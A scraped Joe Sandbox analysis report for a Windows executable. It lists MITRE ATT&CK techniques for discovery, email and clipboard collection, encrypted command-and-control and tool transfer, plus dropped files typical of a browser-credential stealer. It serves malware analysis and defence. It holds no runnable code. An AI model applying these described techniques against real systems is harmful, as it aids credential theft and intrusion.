Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4c469e2cf403fea6249e835ddce23de2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAEBGCFIEHCFIDGCAAFB

C:\ProgramData\CFIEBKEHCAKFCBFIDAAKJDAAFC

C:\ProgramData\DHCAAEBKEGHJKEBFHJDBFCFBKK

C:\ProgramData\EGCBFIEHIEGCAAAKKKKEGDHJDH

C:\ProgramData\FHDAFIID

C:\ProgramData\IDBKKKKKFBGDGDHIDBGH

C:\ProgramData\JEHDHIEG

C:\ProgramData\KFCBAEHCAEGDHJKFHJKF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\vcruntime140.dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Windows Analysis Report
4c469e2cf403fea6249e835ddce23de2.exe

Function 00A6A4A8 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 736
memoryCOMMON

Function 00A6A43F Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 661
memoryCOMMON

Function 00A6A6C2 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 602
memoryCOMMON

Function 00A6A8EA Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 354
memoryCOMMON

Function 00A6A94F Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 329
memoryCOMMON

Function 00A6AB9F Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 191
memoryCOMMON

Function 00A6AEA2 Relevance: .1, Instructions: 103
COMMON

Function 00AA4890 Relevance: 16.6, APIs: 11, Instructions: 106
memoryCOMMONLIBRARYCODE

Function 00AA4C92 Relevance: 1.5, APIs: 1, Instructions: 43
COMMONLIBRARYCODE

Function 6C7D6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre